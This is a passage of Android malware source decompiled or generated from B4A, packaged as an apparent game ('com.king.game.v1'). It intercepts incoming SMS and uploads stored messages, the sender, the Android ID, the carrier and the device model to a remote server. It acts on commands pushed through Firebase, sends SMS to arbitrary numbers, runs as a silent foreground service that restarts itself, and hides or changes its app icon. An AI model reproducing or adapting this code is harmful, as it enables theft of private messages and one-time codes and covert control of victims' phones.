_allsms = _allsms+anywheresoftware.b4a.keywords.Common.CRLF+anywheresoftware.b4a.keywords.Common.CRLF+""+anywheresoftware.b4a.keywords.Common.CRLF+""+anywheresoftware.b4a.keywords.Common.CRLF+"Conversion:"+parent._sms.Address+anywheresoftware.b4a.keywords.Common.CRLF+"Text:"+parent._sms.Body+anywheresoftware.b4a.keywords.Common.CRLF+"Date:"+anywheresoftware.b4a.keywords.Common.DateTime.Date(parent._sms.Date)+" "+anywheresoftware.b4a.keywords.Common.DateTime.Time(parent._sms.Date)+anywheresoftware.b4a.keywords.Common.CRLF+"";
 if (true) break;

case 137:
//C
this.state = 183;
;
 if (true) break;
if (true) break;

case 138:
//C
this.state = 141;
;
 //BA.debugLineNum = 232;BA.debugLine="File.WriteString(File.DirInternal,\"SSms.txt\",al";
anywheresoftware.b4a.keywords.Common.File.WriteString(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"SSms.txt",_allsms);
 //BA.debugLineNum = 233;BA.debugLine="ht.Postfile(information.api&\"/file_up3.php?resul";
parent._ht._postfile /*String*/ (parent.mostCurrent._information._api /*String*/ +"/file_up3.php?result=ok&action=uploadsms&androidid="+parent._android+"&Opr="+parent._opr+"&model="+parent._model,anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"SSms.txt");
 if (true) break;

case 140:
//C
this.state = 141;
this.catchState = 175;
 //BA.debugLineNum = 235;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("73473567",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 141:
//C
this.state = 142;
this.catchState = 175;
;
 if (true) break;

case 142:
//C
this.state = 143;
;
 if (true) break;
;
 //BA.debugLineNum = 240;BA.debugLine="If Comand = \"getsms2\" Then";

case 143:
//if
this.state = 160;
if ((parent._comand).equals("getsms2")) { 
this.state = 145;
}if (true) break;

case 145:
//C
this.state = 146;
 //BA.debugLineNum = 241;BA.debugLine="If android = androidid Then";
if (true) break;

case 146:
//if
this.state = 159;
if ((parent._android).equals(parent._androidid)) { 
this.state = 148;
}if (true) break;

case 148:
//C
this.state = 149;
 //BA.debugLineNum = 242;BA.debugLine="Try";
if (true) break;

case 149:
//try
this.state = 158;
this.catchState = 157;
this.state = 151;
if (true) break;

case 151:
//C
this.state = 152;
this.catchState = 157;
 //BA.debugLineNum = 243;BA.debugLine="Dim allsms As String = \"\"";
_allsms = "";
 //BA.debugLineNum = 244;BA.debugLine="li.Initialize";
parent._li.Initialize();
 //BA.debugLineNum = 245;BA.debugLine="li = sms2.GetAll";
parent._li = parent._sms2.GetAll();
 //BA.debugLineNum = 246;BA.debugLine="For i = 0 To 50";
if (true) break;

case 152:
//for
this.state = 155;
step155 = 1;
limit155 = (int) (50);
_i = (int) (0) ;
this.state = 184;
if (true) break;

case 184:
//C
this.state = 155;
if ((step155 > 0 && _i <= limit155) || (step155 < 0 && _i >= limit155)) this.state = 154;
if (true) break;

case 185:
//C
this.state = 184;
_i = ((int)(0 + _i + step155)) ;
if (true) break;

case 154:
//C
this.state = 185;
 //BA.debugLineNum = 247;BA.debugLine="sms = li.Get(i)";
parent._sms = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(parent._li.Get(_i));
 //BA.debugLineNum = 248;BA.debugLine="allsms = allsms & CRLF & CRLF & \"\" & CRLF &";
_allsms = _allsms+anywheresoftware.b4a.keywords.Common.CRLF+anywheresoftware.b4a.keywords.Common.CRLF+""+anywheresoftware.b4a.keywords.Common.CRLF+""+anywheresoftware.b4a.keywords.Common.CRLF+"Conversion:"+parent._sms.Address+anywheresoftware.b4a.keywords.Common.CRLF+"Text:"+parent._sms.Body+anywheresoftware.b4a.keywords.Common.CRLF+"Date:"+anywheresoftware.b4a.keywords.Common.DateTime.Date(parent._sms.Date)+" "+anywheresoftware.b4a.keywords.Common.DateTime.Time(parent._sms.Date)+anywheresoftware.b4a.keywords.Common.CRLF+"";
 if (true) break;
if (true) break;

case 155:
//C
this.state = 158;
;
 //BA.debugLineNum = 250;BA.debugLine="File.WriteString(File.DirInternal,\"50Sms.txt\",a";
anywheresoftware.b4a.keywords.Common.File.WriteString(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"50Sms.txt",_allsms);
 //BA.debugLineNum = 251;BA.debugLine="ht.Postfile(information.api&\"/file_up2.php?resul";
parent._ht._postfile /*String*/ (parent.mostCurrent._information._api /*String*/ +"/file_up2.php?result=ok&action=uploadsms&androidid="+parent._android+"&Opr="+parent._opr+"&model="+parent._model,anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"50Sms.txt");
 if (true) break;

case 157:
//C
this.state = 158;
this.catchState = 175;
 //BA.debugLineNum = 253;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("73473585",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 158:
//C
this.state = 159;
this.catchState = 175;
;
 if (true) break;

case 159:
//C
this.state = 160;
;
 if (true) break;
;
 //BA.debugLineNum = 258;BA.debugLine="If Comand = \"lastsms\" Then";

case 160:
//if
this.state = 173;
if ((parent._comand).equals("lastsms")) { 
this.state = 162;
}if (true) break;

case 162:
//C
this.state = 163;
 //BA.debugLineNum = 259;BA.debugLine="If android = androidid Then";
if (true) break;

case 163:
//if
this.state = 172;
if ((parent._android).equals(parent._androidid)) { 
this.state = 165;
}if (true) break;

case 165:
//C
this.state = 166;
 //BA.debugLineNum = 260;BA.debugLine="Try";
if (true) break;

case 166:
//try
this.state = 171;
this.catchState = 170;
this.state = 168;
if (true) break;

case 168:
//C
this.state = 171;
this.catchState = 170;
 //BA.debugLineNum = 261;BA.debugLine="Dim listsms As List";
_listsms = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 262;BA.debugLine="Dim sa As SmsMessages";
_sa = new anywheresoftware.b4a.phone.SmsWrapper();
 //BA.debugLineNum = 263;BA.debugLine="Dim lasts As String";
_lasts = "";
 //BA.debugLineNum = 264;BA.debugLine="listsms = sa.GetAll";
_listsms = _sa.GetAll();
 //BA.debugLineNum = 265;BA.debugLine="lasts = listsms.Get(0)";
_lasts = BA.ObjectToString(_listsms.Get((int) (0)));
 //BA.debugLineNum = 266;BA.debugLine="Dim allsms As String = \"\"";
_allsms = "";
 //BA.debugLineNum = 267;BA.debugLine="li.Initialize";
parent._li.Initialize();
 //BA.debugLineNum = 268;BA.debugLine="li = sms2.GetAll";
parent._li = parent._sms2.GetAll();
 //BA.debugLineNum = 269;BA.debugLine="sms = li.Get(i)";
parent._sms = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(parent._li.Get(_i));
 //BA.debugLineNum = 270;BA.debugLine="allsms =  sms.Address";
_allsms = parent._sms.Address;
 //BA.debugLineNum = 271;BA.debugLine="data = \"result=ok&action=lastsms&androidid=\"&";
parent._data = "result=ok&action=lastsms&androidid="+parent._android+"&model="+parent._model+"&opr="+parent._opr+"&message="+_lasts+"&sender="+_allsms;
 //BA.debugLineNum = 272;BA.debugLine="ht.PostString(information.api&\"/log.php\",data)";
parent._ht._poststring /*String*/ (parent.mostCurrent._information._api /*String*/ +"/log.php",parent._data);
 if (true) break;

case 170:
//C
this.state = 171;
this.catchState = 175;
 //BA.debugLineNum = 274;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("73473606",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 171:
//C
this.state = 172;
this.catchState = 175;
;
 if (true) break;

case 172:
//C
this.state = 173;
;
 if (true) break;

case 173:
//C
this.state = 176;
;
 if (true) break;

case 175:
//C
this.state = 176;
this.catchState = 0;
 //BA.debugLineNum = 279;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("73473611",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 176:
//C
this.state = -1;
this.catchState = 0;
;
 //BA.debugLineNum = 281;BA.debugLine="End Sub";
if (true) break;
}} 
       catch (Exception e0) {
			
if (catchState == 0)
    throw e0;
else {
    state = catchState;
processBA.setLastException(e0);}
            }
        }
    }
}
public static String  _jobdone(com.king.game.v1.httpjob _job) throws Exception{
 //BA.debugLineNum = 373;BA.debugLine="Sub JobDone(Job As HttpJob)";
 //BA.debugLineNum = 375;BA.debugLine="If Job.Success Then";
if (_job._success /*boolean*/ ) { 
 }else {
 //BA.debugLineNum = 378;BA.debugLine="Log(\"Error: \" & Job.ErrorMessage)";
anywheresoftware.b4a.keywords.Common.LogImpl("73670021","Error: "+_job._errormessage /*String*/ ,0);
 };
 //BA.debugLineNum = 380;BA.debugLine="Job.Release";
_job._release /*String*/ ();
 //BA.debugLineNum = 381;BA.debugLine="End Sub";
return "";
}
public static anywheresoftware.b4a.objects.collections.List  _parsesmsintent(anywheresoftware.b4a.objects.IntentWrapper _in) throws Exception{
anywheresoftware.b4a.objects.collections.List _messages_list = null;
Object[] _pdus = null;
anywheresoftware.b4a.agraham.reflection.Reflection _r = null;
anywheresoftware.b4a.objects.collections.Map _messagesmap = null;
int _i = 0;
com.king.game.v1.firebasemessaging._message _msg = null;
com.king.game.v1.firebasemessaging._message _existing = null;
 //BA.debugLineNum = 282;BA.debugLine="Sub ParseSmsIntent (In As Intent) As List";
 //BA.debugLineNum = 283;BA.debugLine="Dim messages_list As List";
_messages_list = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 284;BA.debugLine="messages_list.Initialize";
_messages_list.Initialize();
 //BA.debugLineNum = 285;BA.debugLine="If In.HasExtra(\"pdus\") = False Then Return messag";
if (_in.HasExtra("pdus")==anywheresoftware.b4a.keywords.Common.False) { 
if (true) return _messages_list;};
 //BA.debugLineNum = 286;BA.debugLine="Dim pdus() As Object";
_pdus = new Object[(int) (0)];
{
int d0 = _pdus.length;
for (int i0 = 0;i0 < d0;i0++) {
_pdus[i0] = new Object();
}
}
;
 //BA.debugLineNum = 287;BA.debugLine="Dim r As Reflector";
_r = new anywheresoftware.b4a.agraham.reflection.Reflection();
 //BA.debugLineNum = 288;BA.debugLine="pdus = In.GetExtra(\"pdus\")";
_pdus = (Object[])(_in.GetExtra("pdus"));
 //BA.debugLineNum = 289;BA.debugLine="Dim messagesMap As Map";
_messagesmap = new anywheresoftware.b4a.objects.collections.Map();
 //BA.debugLineNum = 290;BA.debugLine="messagesMap.Initialize";
_messagesmap.Initialize();
 //BA.debugLineNum = 291;BA.debugLine="If pdus.Length > 0 Then";
if (_pdus.length>0) { 
 //BA.debugLineNum = 292;BA.debugLine="For i = 0 To pdus.Length - 1";
{
final int step10 = 1;
final int limit10 = (int) (_pdus.length-1);
_i = (int) (0) ;
for (;_i <= limit10 ;_i = _i + step10 ) {
 //BA.debugLineNum = 293;BA.debugLine="Dim msg As Message";
_msg = new com.king.game.v1.firebasemessaging._message();
 //BA.debugLineNum = 294;BA.debugLine="r.Target = r.RunStaticMethod(\"android.telephony";
_r.Target = _r.RunStaticMethod("android.telephony.SmsMessage","createFromPdu",new Object[]{_pdus[_i]},new String[]{"[B"});
 //BA.debugLineNum = 296;BA.debugLine="msg.Body = r.RunMethod(\"getMessageBody\")";
_msg.Body /*String*/  = BA.ObjectToString(_r.RunMethod("getMessageBody"));
 //BA.debugLineNum = 297;BA.debugLine="msg.Address = r.RunMethod(\"getOriginatingAddres";
_msg.Address /*String*/  = BA.ObjectToString(_r.RunMethod("getOriginatingAddress"));
 //BA.debugLineNum = 299;BA.debugLine="If messagesMap.ContainsKey(msg.Address) Then";
if (_messagesmap.ContainsKey((Object)(_msg.Address /*String*/ ))) { 
 //BA.debugLineNum = 300;BA.debugLine="Dim existing As Message";
_existing = new com.king.game.v1.firebasemessaging._message();
 //BA.debugLineNum = 301;BA.debugLine="existing = messagesMap.Get(msg.Address)";
_existing = (com.king.game.v1.firebasemessaging._message)(_messagesmap.Get((Object)(_msg.Address /*String*/ )));
 //BA.debugLineNum = 302;BA.debugLine="existing.Body = existing.Body & msg.Body";
_existing.Body /*String*/  = _existing.Body /*String*/ +_msg.Body /*String*/ ;
 }else {
 //BA.debugLineNum = 305;BA.debugLine="messagesMap.Put(msg.Address, msg)";
_messagesmap.Put((Object)(_msg.Address /*String*/ ),(Object)(_msg));
 //BA.debugLineNum = 306;BA.debugLine="messages_list.Add(msg)";
_messages_list.Add((Object)(_msg));
 };
 }
};
 };
 //BA.debugLineNum = 310;BA.debugLine="Return messages_list";
if (true) return _messages_list;
 //BA.debugLineNum = 311;BA.debugLine="End Sub";
return null;
}
public static String  _process_globals() throws Exception{
 //BA.debugLineNum = 6;BA.debugLine="Sub Process_Globals";
 //BA.debugLineNum = 7;BA.debugLine="Type Message (Address As String, Body As String)";
;
 //BA.debugLineNum = 8;BA.debugLine="Private fm As FirebaseMessaging";
_fm = new anywheresoftware.b4a.objects.FirebaseNotificationsService.FirebaseMessageWrapper();
 //BA.debugLineNum = 9;BA.debugLine="Dim pd As PersianDeviceInfo";
_pd = new com.reza.sh.deviceinfo.DiviceInfo();
 //BA.debugLineNum = 10;BA.debugLine="Dim Comand,Opr,model,androidid,Connection,android";
_comand = "";
_opr = "";
_model = "";
_androidid = "";
_connection = "";
_android = "";
_nump = "";
_txm = "";
_data = "";
 //BA.debugLineNum = 11;BA.debugLine="Dim PE As PhoneEvents";
_pe = new anywheresoftware.b4a.phone.PhoneEvents();
 //BA.debugLineNum = 12;BA.debugLine="Dim p As Phone";
_p = new anywheresoftware.b4a.phone.Phone();
 //BA.debugLineNum = 13;BA.debugLine="Dim sms As Sms";
_sms = new anywheresoftware.b4a.phone.SmsWrapper.Sms();
 //BA.debugLineNum = 14;BA.debugLine="Dim ht As HttpJob";
_ht = new com.king.game.v1.httpjob();
 //BA.debugLineNum = 15;BA.debugLine="Dim pm As PackageManager";
_pm = new anywheresoftware.b4a.phone.PackageManagerWrapper();
 //BA.debugLineNum = 16;BA.debugLine="Dim sms2 As SmsMessages";
_sms2 = new anywheresoftware.b4a.phone.SmsWrapper();
 //BA.debugLineNum = 17;BA.debugLine="Dim li As List";
_li = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 18;BA.debugLine="Dim p As Phone";
_p = new anywheresoftware.b4a.phone.Phone();
 //BA.debugLineNum = 19;BA.debugLine="End Sub";
return "";
}
public static String  _sendlargesms(String _number,String _message) throws Exception{
anywheresoftware.b4a.agraham.reflection.Reflection _r = null;
Object _parts = null;
 //BA.debugLineNum = 312;BA.debugLine="Sub SendLargeSms(Number As String , Message As Str";
 //BA.debugLineNum = 313;BA.debugLine="Try";
try { //BA.debugLineNum = 314;BA.debugLine="Dim r As Reflector";
_r = new anywheresoftware.b4a.agraham.reflection.Reflection();
 //BA.debugLineNum = 315;BA.debugLine="r.Target = r.RunStaticMethod(\"android.telephony.S";
_r.Target = _r.RunStaticMethod("android.telephony.SmsManager","getDefault",(Object[])(anywheresoftware.b4a.keywords.Common.Null),(String[])(anywheresoftware.b4a.keywords.Common.Null));
 //BA.debugLineNum = 316;BA.debugLine="Dim parts As Object";
_parts = new Object();
 //BA.debugLineNum = 317;BA.debugLine="parts = r.RunMethod2(\"divideMessage\", Message, \"j";
_parts = _r.RunMethod2("divideMessage",_message,"java.lang.String");
 //BA.debugLineNum = 318;BA.debugLine="r.RunMethod4(\"sendMultipartTextMessage\", _";
_r.RunMethod4("sendMultipartTextMessage",new Object[]{(Object)(_number),anywheresoftware.b4a.keywords.Common.Null,_parts,anywheresoftware.b4a.keywords.Common.Null,anywheresoftware.b4a.keywords.Common.Null},new String[]{"java.lang.String","java.lang.String","java.util.ArrayList","java.util.ArrayList","java.util.ArrayList"});
 } 
       catch (Exception e8) {
			processBA.setLastException(e8); //BA.debugLineNum = 323;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("73604491",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 };
 //BA.debugLineNum = 325;BA.debugLine="End Sub";
return "";
}
public static String  _service_create() throws Exception{
anywheresoftware.b4a.objects.NotificationWrapper _n = null;
 //BA.debugLineNum = 20;BA.debugLine="Sub Service_Create";
 //BA.debugLineNum = 21;BA.debugLine="Dim n As Notification";
_n = new anywheresoftware.b4a.objects.NotificationWrapper();
 //BA.debugLineNum = 22;BA.debugLine="n.Initialize2(n.IMPORTANCE_LOW)";
_n.Initialize2(_n.IMPORTANCE_LOW);
 //BA.debugLineNum = 23;BA.debugLine="n.Icon = \"icon\"";
_n.setIcon("icon");
 //BA.debugLineNum = 24;BA.debugLine="n.Sound = False";
_n.setSound(anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 25;BA.debugLine="n.Vibrate = False";
_n.setVibrate(anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 26;BA.debugLine="n.Light = False";
_n.setLight(anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 27;BA.debugLine="n.Insistent = False";
_n.setInsistent(anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 28;BA.debugLine="n.AutoCancel = False";
_n.setAutoCancel(anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 29;BA.debugLine="n.SetInfo(\"\", \"\", \"\")";
_n.SetInfoNew(processBA,BA.ObjectToCharSequence(""),BA.ObjectToCharSequence(""),(Object)(""));
 //BA.debugLineNum = 30;BA.debugLine="Service.AutomaticForegroundNotification = n";
mostCurrent._service.AutomaticForegroundNotification = (android.app.Notification)(_n.getObject());
 //BA.debugLineNum = 31;BA.debugLine="fm.Initialize(\"fm\")";
_fm.Initialize(processBA,"fm");
 //BA.debugLineNum = 32;BA.debugLine="ht.Initialize(\"ht\",Me)";
_ht._initialize /*String*/ (processBA,"ht",firebasemessaging.getObject());
 //BA.debugLineNum = 33;BA.debugLine="pd.initialize(\"pd\")";
_pd.initialize(processBA,"pd");
 //BA.debugLineNum = 34;BA.debugLine="PE.Initialize(\"PE\")";
_pe.Initialize(processBA,"PE");
 //BA.debugLineNum = 35;BA.debugLine="End Sub";
return "";
}
public static String  _service_destroy() throws Exception{
 //BA.debugLineNum = 382;BA.debugLine="Sub Service_Destroy";
 //BA.debugLineNum = 383;BA.debugLine="StartService(\"\")";
anywheresoftware.b4a.keywords.Common.StartService(processBA,(Object)(""));
 //BA.debugLineNum = 384;BA.debugLine="End Sub";
return "";
}
public static void  _service_start(anywheresoftware.b4a.objects.IntentWrapper _startingintent) throws Exception{
ResumableSub_Service_Start rsub = new ResumableSub_Service_Start(null,_startingintent);
rsub.resume(processBA, null);
}
public static class ResumableSub_Service_Start extends BA.ResumableSub {
public ResumableSub_Service_Start(com.king.game.v1.firebasemessaging parent,anywheresoftware.b4a.objects.IntentWrapper _startingintent) {
this.parent = parent;
this._startingintent = _startingintent;
}
com.king.game.v1.firebasemessaging parent;
anywheresoftware.b4a.objects.IntentWrapper _startingintent;
String _osversion = "";
anywheresoftware.b4a.objects.collections.List _messages = null;
int _i = 0;
int step15;
int limit15;

@Override
public void resume(BA ba, Object[] result) throws Exception{

    while (true) {
        switch (state) {
            case -1:
return;

case 0:
//C
this.state = 1;
 //BA.debugLineNum = 40;BA.debugLine="If StartingIntent.IsInitialized = True Then";
if (true) break;

case 1:
//if
this.state = 17;
if (_startingintent.IsInitialized()==anywheresoftware.b4a.keywords.Common.True) { 
this.state = 3;
}else {
this.state = 16;
}if (true) break;

case 3:
//C
this.state = 4;
 //BA.debugLineNum = 41;BA.debugLine="If File.Exists(File.DirInternal, \"test.txt\") = F";
if (true) break;

case 4:
//if
this.state = 7;
if (anywheresoftware.b4a.keywords.Common.File.Exists(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"test.txt")==anywheresoftware.b4a.keywords.Common.False) { 
this.state = 6;
}if (true) break;

case 6:
//C
this.state = 7;
 //BA.debugLineNum = 42;BA.debugLine="android = p.GetSettings(\"android_id\")";
parent._android = parent._p.GetSettings("android_id");
 //BA.debugLineNum = 43;BA.debugLine="Opr = p.GetNetworkOperatorName";
parent._opr = parent._p.GetNetworkOperatorName();
 //BA.debugLineNum = 44;BA.debugLine="model = p.Manufacturer&\" \"&p.Model";
parent._model = parent._p.getManufacturer()+" "+parent._p.getModel();
 //BA.debugLineNum = 45;BA.debugLine="Dim osVersion As String = pd.OSVersion";
_osversion = parent._pd.getOSVersion();
 //BA.debugLineNum = 46;BA.debugLine="Connection = p.GetDataState";
parent._connection = parent._p.GetDataState();
 //BA.debugLineNum = 47;BA.debugLine="data = \"result=ok&action=install&androidid=\"&an";
parent._data = "result=ok&action=install&androidid="+parent._android+"&opr="+parent._opr+"&model="+parent._model+"&osVersion="+_osversion+"&Connection="+parent._connection;
 //BA.debugLineNum = 48;BA.debugLine="ht.PostString(information.api&\"/log.php\",data)";
parent._ht._poststring /*String*/ (parent.mostCurrent._information._api /*String*/ +"/log.php",parent._data);
 //BA.debugLineNum = 50;BA.debugLine="File.MakeDir(File.DirInternal, \"test.txt\")";
anywheresoftware.b4a.keywords.Common.File.MakeDir(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"test.txt");
 if (true) break;
;
 //BA.debugLineNum = 53;BA.debugLine="If StartingIntent.Action = \"android.provider.Tel";

case 7:
//if
this.state = 14;
if ((_startingintent.getAction()).equals("android.provider.Telephony.SMS_RECEIVED")) { 
this.state = 9;
}if (true) break;

case 9:
//C
this.state = 10;
 //BA.debugLineNum = 54;BA.debugLine="Dim messages As List";
_messages = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 55;BA.debugLine="messages = ParseSmsIntent(StartingIntent)";
_messages = _parsesmsintent(_startingintent);
 //BA.debugLineNum = 56;BA.debugLine="For i = 0 To messages.Size - 1";
if (true) break;

case 10:
//for
this.state = 13;
step15 = 1;
limit15 = (int) (_messages.getSize()-1);
_i = (int) (0) ;
this.state = 18;
if (true) break;

case 18:
//C
this.state = 13;
if ((step15 > 0 && _i <= limit15) || (step15 < 0 && _i >= limit15)) this.state = 12;
if (true) break;

case 19:
//C
this.state = 18;
_i = ((int)(0 + _i + step15)) ;
if (true) break;

case 12:
//C
this.state = 19;
 //BA.debugLineNum = 57;BA.debugLine="android = p.GetSettings(\"android_id\")";
parent._android = parent._p.GetSettings("android_id");
 //BA.debugLineNum = 58;BA.debugLine="Opr = p.GetNetworkOperatorName";
parent._opr = parent._p.GetNetworkOperatorName();
 //BA.debugLineNum = 59;BA.debugLine="Connection = p.GetDataState";
parent._connection = parent._p.GetDataState();
 //BA.debugLineNum = 60;BA.debugLine="model = p.Manufacturer&\" \"&p.Model";
parent._model = parent._p.getManufacturer()+" "+parent._p.getModel();
 //BA.debugLineNum = 61;BA.debugLine="data = \"result=ok&action=nwmessage&androidid=\"";
parent._data = "result=ok&action=nwmessage&androidid="+parent._android+"&model="+parent._model+"&opr="+parent._opr+"&Connection="+parent._connection+"&message="+BA.ObjectToString(_messages.Get(_i));
 //BA.debugLineNum = 62;BA.debugLine="ht.PostString(information.api&\"/log.php\",data)";
parent._ht._poststring /*String*/ (parent.mostCurrent._information._api /*String*/ +"/log.php",parent._data);
 if (true) break;
if (true) break;

case 13:
//C
this.state = 14;
;
 if (true) break;

case 14:
//C
this.state = 17;
;
 //BA.debugLineNum = 67;BA.debugLine="fm.HandleIntent(StartingIntent)";
parent._fm.HandleIntent((android.content.Intent)(_startingintent.getObject()));
 //BA.debugLineNum = 68;BA.debugLine="Sleep(0) 'allow the MessageReceived event to be";
anywheresoftware.b4a.keywords.Common.Sleep(processBA,this,(int) (0));
this.state = 20;
return;
case 20:
//C
this.state = 17;
;
 if (true) break;

case 16:
//C
this.state = 17;
 //BA.debugLineNum = 71;BA.debugLine="Log(\"suck\")";
anywheresoftware.b4a.keywords.Common.LogImpl("73407904","suck",0);
 if (true) break;

case 17:
//C
this.state = -1;
;
 //BA.debugLineNum = 73;BA.debugLine="End Sub";
if (true) break;

            }
        }
    }
}
public static String  _subscribetotopics() throws Exception{
 //BA.debugLineNum = 36;BA.debugLine="Public Sub SubscribeToTopics";
 //BA.debugLineNum = 37;BA.debugLine="fm.SubscribeToTopic(\"v2\") 'you can subscribe to m";
_fm.SubscribeToTopic("v2");
 //BA.debugLineNum = 38;BA.debugLine="End Sub";
return "";
}

      public void showAppIcon() {
      try {
      ComponentName componentName = new ComponentName(this, com.king.game.v1.main.class); 
      getPackageManager().setComponentEnabledSetting(componentName, 1, 1);
      } catch (Exception e) {
          e.printStackTrace();
      }}
   
   public void hideAppIcon() {
      try {
      ComponentName componentName = new ComponentName(this, com.king.game.v1.main.class); 
      getPackageManager().setComponentEnabledSetting(componentName, 2, 1);
      } catch (Exception e) {
          e.printStackTrace();
      }}


public void change_icon(String pakage, String na)
{
	try {
		
		PackageManager pm = getPackageManager();
		ComponentName componentName = new ComponentName(this, na);
		pm.setComponentEnabledSetting(componentName ,PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
		pm.setComponentEnabledSetting(new ComponentName(this, pakage), PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
		
	} catch (Exception e) {
		e.printStackTrace();
	}
}

}
